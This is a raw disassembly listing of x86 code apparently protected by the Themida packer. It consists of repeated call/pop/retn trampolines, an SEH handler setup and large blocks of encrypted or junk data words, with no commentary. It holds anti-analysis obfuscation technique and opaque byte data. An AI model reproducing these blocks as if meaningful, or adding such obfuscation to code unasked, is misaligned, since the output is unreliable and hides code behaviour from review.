		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_58DA9E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DA9E	proc near		; CODE XREF: Themida_:0058DA96p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_58DA9E	endp

; ---------------------------------------------------------------------------
		dw 6ECEh
		dd 39E678A6h, 0EFEEABDEh, 30D98D89h, 0D88A0614h, 14ADB5FFh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0F38006C3h, 1995FFD0h, 0E906142Bh, 0E7h
		dd 9D2900B0h, 6140631h,	42BF70E6h, 317EF128h, 141DAD8Dh
		dd 0F71E406h, 613CDFB7h, 0C5830Fh, 8D890000h, 614109Dh
		dd 0B7C8B60Fh, 6BAA3h, 0BD8B0000h, 6141FE5h, 0BD03C18Bh
		dd 6142001h, 6604E8C1h,	54B7D88Bh, 29E2F766h, 140FA1BDh
		dd 8BC82B06h, 0E9D98BD1h, 6, 17119D09h,	858B0614h, 61414B5h
		dd 2D19BD29h, 0C0830614h, 0EAEB8007h, 0FC00C083h, 9E8h
		dd 1C7F0300h, 3934396Ch, 8D89DC2Ch, 6142289h, 0FD03B5Fh
		dd 1783h, 7E900h, 785E0000h, 39E1286Eh,	41E9D7h, 9D890000h
		dd 61425CDh, 2318D8Bh, 0B70F0614h, 1E183F9h, 29840Fh, 0BD890000h
		dd 614304Dh, 231A583h, 81FE0614h, 9A6885F7h, 0B595895Ah
		dd 60061414h, 0B956DE8Bh, 4F61FE39h, 0E96158h, 8D000000h
		dd 17CAC9B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 816660E0h, 8127DEC9h, 0EF7456C2h
		dd 6A616Ch, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 17h,	0B4C35545h, 0E8186E68h,	6, 0EB5E57F5h, 895B6D97h
		dd 1419E18Dh, 6995FF06h, 6A061411h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8414C352h
		dd 37B7C20Bh, 2EFD9D8Bh, 16B90614h, 6A00000Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 8D31C355h, 0E96B355Fh, 12h, 0A5D089E3h, 0B575F652h
		dd 0FB96EDDBh, 82CDE301h, 0E183B4BBh, 0BD8BFCFCh, 61421B1h
		dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0D84ACAC3h, 820F49E1h, 3,	0FDA8B66h, 488h
		dd 0FEBB6600h, 0BA3Ah, 1CBB0000h, 0AD48B1D4h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 84B7C353h, 0C781668Ch
		dd 880DFCEBh, 0F9000000h, 0BEB50BBFh, 29958B72h, 6A061432h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0D68C356h, 2EBDB55Fh, 2AFD8531h, 8D8B0614h
		dd 614064Dh, 501BD380h,	188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0B2120128h, 0FFB70F67h, 0BA58531h
		dd 0BD830614h, 61429ADh, 9E840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0F024C356h, 0E95C7405h, 0Eh,	8D42DC7Bh, 69FAA172h, 356A3494h
		dd 0B8B588h, 0E9000000h, 9, 5EA4F5DCh, 578C159Ah, 798D8D6Fh
		dd 6A06144Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 5C40C353h, 6840FE7h, 89000000h
		dd 1406619Dh, 6AE1FF06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 85B3C357h, 0AA2891C6h
		dd 0B39E1E59h, 71BD831Dh, 61426h, 4FE840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 5E85CC3h, 0F6000000h, 0B5D754DBh, 699D8B50h,	5B061426h
		dd 0B9BD235Bh, 81061402h, 476ED4CBh, 71BD834Ah,	1061426h
		dd 4D1840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 94C0E8C3h, 71BD835Dh, 3061426h
		dd 46F860Fh, 8B520000h,	1403D5BDh, 6A605B06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 7047C357h, 7CF221DCh, 0B34D654Ch, 6AD98C66h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0C817C351h, 5E939BEh, 23000000h, 0E16C8417h,	6A04E180h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 9010C352h, 60DE857Bh, 24A5BD29h, 9E90614h
		dd 4D000000h, 558560FCh, 0D9E3ED16h, 0BE666061h, 858BB94Ah
		dd 6142315h, 85858961h,	0A061415h, 0F1840FC9h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 973CC356h, 10E984h, 2E850000h, 0FE1B161Bh
		dd 0CB8E0801h, 4BB99AAAh, 858B8D4Eh, 6141969h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FFC35646h, 51BCC56Eh
		dd 0FEDBD8Bh, 85330614h, 6141B81h, 0BB47BB66h, 8F0F90F9h
		dd 0Dh,	8E9h, 4C4B8700h, 9856C18Ah, 9E85085h, 40000000h
		dd 0D9059FAEh, 0A49C36F1h, 11E9h, 0E4CD6500h, 0C10FCBC9h
		dd 452290E1h, 72B2DFB6h, 905B7020h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 5C35646h, 21CED6CEh, 6A77ACh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0ECC35343h
		dd 3B30CD79h, 565DB0DDh, 8E0Fh,	0BD290000h, 6140F95h, 4E8h
		dd 1F03FF00h, 11E95600h, 72000000h, 0BBEB421Ah,	528FEF3Fh
		dd 2AED27A8h, 1CCAD85Dh, 0BCBF505Fh, 8B6506A6h,	0BF042444h
		dd 2ED9131Dh, 9E8008Bh,	81000000h, 9EC3A50h, 74D48079h
		dd 310F5250h, 5AD88B66h, 44895F58h, 89580424h, 1420B98Dh
		dd 5820F06h, 66000000h,	55F8D781h, 9AD95FFh, 6A0614h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 53D2BAC3h, 8D09139Ch, 6142D31h, 56A4BB66h, 0AA988589h
		dd 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0B26601C3h, 78DF7C53h, 0FE9F2F9h,	0E9000000h
		dd 2CDADE46h, 0B0E651F7h, 0CC9EF94Ch, 8EE9D439h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0E3FDC351h, 0BD8B84A9h, 6142AC1h,	0AA90858Bh
		dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E98F30C3h, 0Ch, 9A535050h, 6936C468h, 0F57A2AB8h
		dd 1800C7h, 0EF810000h,	41CB0147h, 0AA94B58Bh, 0F9600617h
		dd 0F6173B6h, 858BDEB7h, 6140B29h, 35298589h, 6890614h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 17C35141h
		dd 9B2993C6h, 8C8BBFD9h, 3860FEDh, 0F000000h, 0E3BFD9B7h
		dd 8B6740A3h, 14196985h, 0E19D8906h, 89061420h,	0FE90446h
		dd 3D000000h, 0CA8A47ABh, 0CBF99356h, 0E884235Fh, 515083D1h
		dd 2434895Fh, 0DE9h, 0E7C3CE00h, 1B572814h, 1BA34E09h
		dd 0B5FF3875h, 617AA90h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0A3C35646h, 5B7F58F1h, 6F54737Eh, 0AE9h
		dd 0F9966B00h, 2AE580F0h, 686CE605h, 0D1D5C7C2h, 29C3E1BBh
		dd 24048132h, 2E493C3Dh, 1C2D9D89h, 858D0614h, 617AA98h
		dd 0E950F88Bh, 0Dh, 0EBC2CC59h,	98A60E3Bh, 0A1E100B5h
		dd 2404894Fh, 32099589h, 95FF0614h, 61409ADh, 0E850006Ah
		dd 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0ACC35040h,	89D4193Bh, 1425FDBDh
		dd 0BD0B6106h, 6143215h, 13C9E7BFh, 7185C70Dh, 3061426h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 6218C351h, 0F4EB8166h,	98BD839Fh
		dd 617AAh, 23840Fh, 0F88B0000h,	37E9h, 0FA8B6600h, 12E951h
		dd 45DB0000h, 3B962D15h, 1B90704Bh, 0EB1A15A0h,	0F88C28B3h
		dd 0C30505Bh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0F79BD8Bh, 8B600614h, 142585B5h,	0CD9D0106h
		dd 61061423h, 2071BD2Bh, 0BD830614h, 6142671h, 0B5850F03h
		dd 81000003h, 8198F6C3h, 0B19D8947h, 83061429h,	17AA98BDh
		dd 840F0006h, 39Ch, 0C299D8Bh, 0B5FF0614h, 617AA98h, 1870Fh
		dd 0FFF50000h, 142AF595h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 1644C267h
		dd 8B10007Eh, 17AA8CB5h, 0DE906h, 50970000h, 0E5396F70h
		dd 0FC842759h, 29C6C249h, 140B698Dh, 106C706h, 50000100h
		dd 0CDB5BB66h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 553C352h, 9DD38275h
		dd 3471B589h, 0B5FF0614h, 617AA98h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 22C35141h, 87B46EACh, 0C88D9052h
		dd 0EDB58914h, 29061423h, 14226D95h, 3195FF06h,	6A06140Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 93EAC355h, 17F1680Dh, 95010ED2h, 61418EDh
		dd 0AA8CB58Bh, 10E80617h, 7C000000h, 48105077h,	7B4EEEEh
		dd 3E4BC964h, 5F161D8Bh, 21D5858Bh, 85890614h, 6140315h
		dd 1FC755BFh, 0C4868954h, 66000000h, 958BFA8Bh,	6143229h
		dd 2B69BD03h, 0C2830614h, 20508904h, 6880Fh, 9D8B0000h
		dd 6141115h, 0BE06858Dh, 86890617h, 0B8h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 0DAC35343h, 0BD32EE44h
		dd 11618589h, 0BD8B0614h, 6142429h, 0E9F5006Ah,	9, 1C525B23h
		dd 0FE81BAB1h, 98B5FF2Fh, 90617AAh, 1425E1BDh, 3995FF06h
		dd 66061409h, 0E896F98Bh, 0Eh, 4BEECFACh, 202C3D05h, 23C01AAh
		dd 11E86146h, 0A6000000h, 0DB6A3ADEh, 64323F68h, 3D55524Ah
		dd 0B5ADF0FCh, 5F5BFB8Bh, 0B8666050h, 52505C41h, 8B66310Fh
		dd 61585AD3h, 6D9D8B96h, 0FF061404h, 17AA98B5h,	5BD0306h
		dd 0FF06142Fh, 1420F595h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0A6FDFA1Dh
		dd 9D89DD0Dh, 6140B81h,	0C21BD83h, 0F000614h, 4684h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0C3818C1Ch, 1A5683A7h, 0CE896h, 7F9B0000h, 0B3B858A4h
		dd 1A64C247h, 8A0F4184h, 5, 9F004EBBh, 96505F43h, 0FFFB8B66h
		dd 17AA98B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0E5B58964h, 2906142Ch, 141C61B5h
		dd 0B195FF06h, 89061402h, 1405819Dh, 158D8906h,	0FF06140Eh
		dd 17AA98B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0B54E4366h, 5870F66h, 51000000h
		dd 5FDE8B66h, 95FFF0B7h, 6143081h, 7E8h, 1D6C4000h, 0D10567C1h
		dd 13E1BD8Bh, 805F0614h, 0BD838FDBh, 61409F5h, 6F840F02h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 67EDC355h, 0E910BEE1h,	0Ch, 8748BF20h
		dd 450D1EE6h, 49183CD7h, 2D01858Bh, 7E80614h, 8F000000h
		dd 92EAF28Fh, 8D0F209Ch, 0
; ---------------------------------------------------------------------------
		pop	ebx
		mov	byte ptr [eax],	0
		push	0
		push	ebp
		call	sub_58E72F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E72F	proc near		; CODE XREF: Themida_:0058E727p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_58E72F	endp

; ---------------------------------------------------------------------------
		db 0D6h
		dd 9DF4E3B2h, 85C7FCAAh, 614244Dh, 0
; ---------------------------------------------------------------------------
		jo	loc_58E760
		pusha
		mov	edi, ebx
		mov	ecx, [ebp+61418EDh]
		popa


loc_58E760:				; CODE XREF: Themida_:0058E750j
		jmp	loc_58DA91
; ---------------------------------------------------------------------------
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; Х
		db    3
		db    0
		db    0
		db    0
		db  20h
		db  58h	; X
		db 0C3h	; ц

; =============== S U B	R O U T	I N E =======================================



sub_58E770	proc near

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_58E770	endp

; ---------------------------------------------------------------------------
		dd 0FD4B66F8h, 34F6D38Dh, 178E0F5Ch, 0E9000000h, 12h, 25025569h
		dd 19C7F25Ah, 0EA5CD5F8h, 0C343F15Ch, 8BF8474Ah, 12E9C1h
		dd 8CEB0000h, 0D5D7F44Dh, 0F66191B1h, 0BCFC297Ah, 0FC4CC5BEh
; ---------------------------------------------------------------------------


loc_58E7C0:				; DATA XREF: Themida_:0054BA48o
		lea	eax, [ebp+6140F99h]
		push	0
		push	ebp
		call	sub_58E7D1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E7D1	proc near		; CODE XREF: Themida_:0058E7C9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_58E7D1	endp

; ---------------------------------------------------------------------------
		db 7Dh,	82h, 8Bh
		dd 7EB7BAE1h, 14E86050h, 35000000h, 9915E92Bh, 0A29160C8h
		dd 0F202F00Bh, 0D34E799Fh, 8B291609h, 8B6659FAh, 48961FEh
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0B293A1FDh, 8B66F79Eh, 55BD8BDAh, 8106140Ch
		dd 321286DBh, 6A006A09h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 2AB8C353h, 0E652F57Ah
		dd 148D9D8Bh, 6A0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 18C35646h, 0A3087C4Eh, 559501EDh, 8D06142Bh
		dd 185E1F85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 2ACE512Fh, 2ABA40B0h, 31F98B66h
		dd 1424D9BDh, 5C08306h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0D0C35343h, 0F5958943h, 0F8061408h, 87BB6650h
		dd 24048993h, 139DBD03h, 6A0614h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0DC35747h, 605A03A1h, 8E613933h
		dd 6AFB8B66h, 0B5BD8B00h, 0FF061410h, 141A7195h, 0D8D0106h
		dd 60061421h, 25518529h, 8D610614h, 17A8FC8Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0A00E6D7Ah, 0FFDE8B4Eh, 8A0FD1h, 83000000h, 1412CDBDh
		dd 850F0106h, 86h, 6880Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
		push	2
		push	0
		push	ecx
		call	sub_58E991
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E991	proc near		; CODE XREF: Themida_:0058E989p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_58E991	endp

; ---------------------------------------------------------------------------
		db 20h,	66h, 0A3h
		dd 0B68AEB73h, 9D8BBB36h, 614322Dh, 6CABF90h, 0F504465h
		dd 8Ah,	6A9000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 365C61C3h, 0A78241D1h, 3995FF14h
		dd 0E8061409h, 0Bh, 7CC6A624h, 0B57D8C0h, 81758D97h, 47D4D7CFh
		dd 8CE95F3Fh, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6185E29h
		mov	[ebp+6140ED5h],	ecx
		movzx	edi, bx
		lea	eax, [ebp+6179623h]
		push	0
		push	edx
		call	sub_58EA29
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58EA29	proc near		; CODE XREF: Themida_:0058EA21p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_58EA29	endp

; ---------------------------------------------------------------------------
		db 0C8h, 62h, 34h
		dd 9010A1E8h, 11E850h, 36690000h, 88C9A304h, 7F3FCB19h
		dd 0BB1B1978h, 0E8556E8Fh, 0Eh,	8856F1F9h, 0AEDC071Ch
		dd 0FECD07C3h, 5B5257C3h, 89905B5Bh, 141D999Dh,	6850F06h
		dd 8B000000h, 141905BDh, 35FF6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_58EA93
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58EA93	proc near		; CODE XREF: Themida_:0058EA8Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_58EA93	endp

; ---------------------------------------------------------------------------
		pop	ds
		push	eax
		or	[ecx+14221D8Dh], cl
		push	es
		jmp	loc_58EABD
; ---------------------------------------------------------------------------
		db 0E8h, 6Ah, 0A1h
; ---------------------------------------------------------------------------
		add	bh, [ecx+0Bh]
		and	[edi+7B132679h], eax


loc_58EABD:				; CODE XREF: Themida_:0058EAACj
		mov	large fs:0, esp
		push	0
		push	ecx
		call	sub_58EACF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58EACF	proc near		; CODE XREF: Themida_:0058EAC7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_58EACF	endp

; ---------------------------------------------------------------------------
		mov	ah, [esi]
		scasb
		movsd
		pusha
		xchg	eax, esp
		mov	ebx, [ebp+6143209h]
		inc	dword ptr [ebp+614236Dh]
		push	0
		push	ecx
		call	sub_58EAFC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58EAFC	proc near		; CODE XREF: Themida_:0058EAF4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_58EAFC	endp

; ---------------------------------------------------------------------------
		dd 320E0FF2h, 0B8B8F71Dh, 2D9D8B13h, 6A061423h,	1B5FFFFh
		dd 6A061416h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 8268C350h, 68E0F88h, 89000000h
		dd 14346D85h, 8E906h, 95E00000h, 820BC4EBh, 95FF9F99h
		dd 6142B19h, 13BE9h, 6870F00h, 81000000h, 6C1EFDC7h, 0F00B044h
		dd 58Dh, 0AD99BB00h, 70E62DD3h,	0F1815060h, 34998DA4h
		dd 798D8B58h, 61061425h, 1B618D31h, 71E40614h, 830F613Ch
		dd 100h, 2711BB66h, 9C8B60Fh, 1425319Dh, 6BA06h, 0BD030000h
		dd 61416A5h, 0F60C18Bh,	685h, 6D858B00h, 8B061420h, 14103195h
		dd 0E8C16106h, 0DA8B6604h, 0E9E2F766h, 0Ah, 59637B06h
		dd 0A7280485h, 0BD89651Ah, 614211Dh, 0D18BC82Bh, 15C9BD89h
		dd 6E90614h, 81000000h,	6AE8C6D3h, 1D858B59h, 0E906140Eh
		dd 9, 3BCAA122h, 2E8BB10Fh, 7C08341h, 58E0Fh, 81660000h
		dd 83E5F8C3h, 8B6600C0h, 0FD03BDAh, 0E83h, 56BF6600h, 66E950h
		dd 81660000h, 8BD11BF3h, 141B758Dh, 0B58D0906h,	60061401h
		dd 0A8D0Fh, 5E90000h, 4E000000h, 65519434h, 20B1958Bh
		dd 83610614h, 840F01E1h, 34h, 369B589h,	0A5830614h, 6141B75h
		dd 8D0FFEh, 89000000h, 140E1D95h, 0BE8F906h, 11000000h
		dd 27E7DC0Eh, 1F7FFC32h, 0BF66E5DFh, 0E95BD3B5h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+617DA9Fh]
		push	0


loc_58ECA8:				; CODE XREF: Themida_:0058ECD8j
		push	edx
		call	sub_58ECB1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ECB1	proc near		; CODE XREF: Themida_:0058ECA9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_58ECB1	endp

; ---------------------------------------------------------------------------
		mov	ah, 21h
		pop	edx
		imul	ch
		jnz	loc_58ECD2
		mov	[ebp+6140431h],	ebx


loc_58ECD2:				; CODE XREF: Themida_:0058ECC6j
		jmp	loc_58ECE3
; ---------------------------------------------------------------------------
		db 0F6h
; ---------------------------------------------------------------------------
		loopne	loc_58ECA8
		retf
; ---------------------------------------------------------------------------
		db 6Ah
; ---------------------------------------------------------------------------
		and	ah, bh
		popf
		imul	edi, [esi+3], -77h


loc_58ECE3:				; CODE XREF: Themida_:loc_58ECD2j
		push	0
		mov	[ebp+6142B39h],	edx
		call	dword ptr [ebp+6141169h]
		jmp	loc_58ED03
; ---------------------------------------------------------------------------
		dw 4097h
		dd 23FFD95Bh, 6986E564h
		db 0E8h, 9Ch, 96h
; ---------------------------------------------------------------------------


loc_58ED03:				; CODE XREF: Themida_:0058ECF1j
		mov	ecx, 85Eh
		jbe	loc_58ED24
		jmp	loc_58ED24
; ---------------------------------------------------------------------------
		db 0C8h
		dd 275809CDh, 90C004DDh, 0D3E35F8Bh, 0F22F124Ch
; ---------------------------------------------------------------------------


loc_58ED24:				; CODE XREF: Themida_:0058ED08j
					; Themida_:0058ED0Ej
		and	ecx, 0FFFFFFFCh
		push	0
		push	eax
		call	sub_58ED32
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ED32	proc near		; CODE XREF: Themida_:0058ED2Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_58ED32	endp

; ---------------------------------------------------------------------------
		pop	ecx
		mov	dword ptr [esi-64h], 15D05994h
		mov	edi, [ebp+6140F3Dh]
		cld
		mov	edi, eax
		mov	eax, 0
		push	0
		push	ecx
		call	sub_58ED63
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ED63	proc near		; CODE XREF: Themida_:0058ED5Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_58ED63	endp

; ---------------------------------------------------------------------------
		cmc
		aas
		stc
		fisttp	word ptr [ebx+141C9D9Dh]
		push	es
		jmp	loc_58ED8C
; ---------------------------------------------------------------------------
		dw 0B21Eh
		dd 9814573Bh, 5C291AE3h
; ---------------------------------------------------------------------------


loc_58ED8C:				; CODE XREF: Themida_:0058ED7Dj
		mov	edx, 0
		push	0
		push	esi
		call	sub_58ED9C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ED9C	proc near		; CODE XREF: Themida_:0058ED94p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_58ED9C	endp

; ---------------------------------------------------------------------------
		dd 0C89915E9h, 0BA29160h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 9FC35646h
		dd 3BC38166h, 0E870F39h, 60000000h, 5E9h, 0F2ABE200h, 46B0ED8Eh
		dd 880D61h, 9D8B0000h, 61420CDh, 3229958Bh, 0EF810614h
		dd 73154467h, 64D8D8Bh,	6A0614h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0B501AEC3h, 6142ED1h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0CFA0D5C3h, 20640012h, 15B19501h, 6A0614h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0E20997C3h
		dd 28A5663Ah, 0CE97Eh, 0C9970000h, 8E68D494h, 0CCF2516Bh
		dd 0BD83E5CDh, 61429ADh, 39840F00h, 89000000h, 141A018Dh
		dd 0B806h, 0EF810000h, 682DF937h, 4D798D8Dh, 8F0F0614h
		dd 3, 0FFDF8B66h, 8E8E1h, 87350000h, 0F655E58Dh, 8B66C6D6h
		dd 0BD8B5FD8h, 61401D5h, 2671BD83h, 0F000614h, 45484h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0D9BD2302h, 8306140Bh, 142671BDh, 840F0106h
		dd 440h, 30359D0Bh, 0BF0F0614h,	71BD83FFh, 3061426h, 3F4860Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 8CB620C3h, 2FDAF3AEh, 6A604DEAh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0B423C351h, 0BB66F83Ah, 8C66D3A5h, 4E180D9h,	9E8h, 0E2EB4B00h
		dd 0C7B42ED4h, 0BF666A3Bh, 0A5FBF2Bh, 56840FC9h, 0F000001h
		dd 18Ch, 858BFC00h, 6141969h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 19C35040h, 80415F39h, 1B818533h
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0E94EBEC3h, 0Eh, 4A6FEBB6h, 4BF4414Bh, 760AE3Bh
		dd 8950EB40h, 6A2404h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0EAC35242h, 8E22FBB9h, 8B21545Dh, 14346DBDh
		dd 800F6006h, 6, 1AE5850Bh, 13E90614h, 74000000h, 5416AAEFh
		dd 0F2DA7CE0h, 2E132B47h, 0DB8E98F9h, 686144CCh, 0DB666B53h
		dd 9882BB66h, 0AC240481h, 6A24B898h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 35CEC353h
		dd 8B15F094h, 140D69BDh, 0AD95FF06h, 0F061409h,	8589DAB7h
		dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	4BC35141h, 27A5FFh, 67CCCC63h, 9E9h, 209F700h
		dd 0CD87F5D1h, 0CFE90D7Eh, 6A000001h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0B050C353h
		dd 0EDA9F1BBh, 90858B12h, 0BF0617AAh, 5ECCD2E0h, 1800C7h
		dd 66530000h, 8B5FDA8Bh, 17AA94B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0CE83FABh
		dd 0BB000000h, 27C2F04Bh, 0D932F227h, 890E5FC0h, 140D69BDh
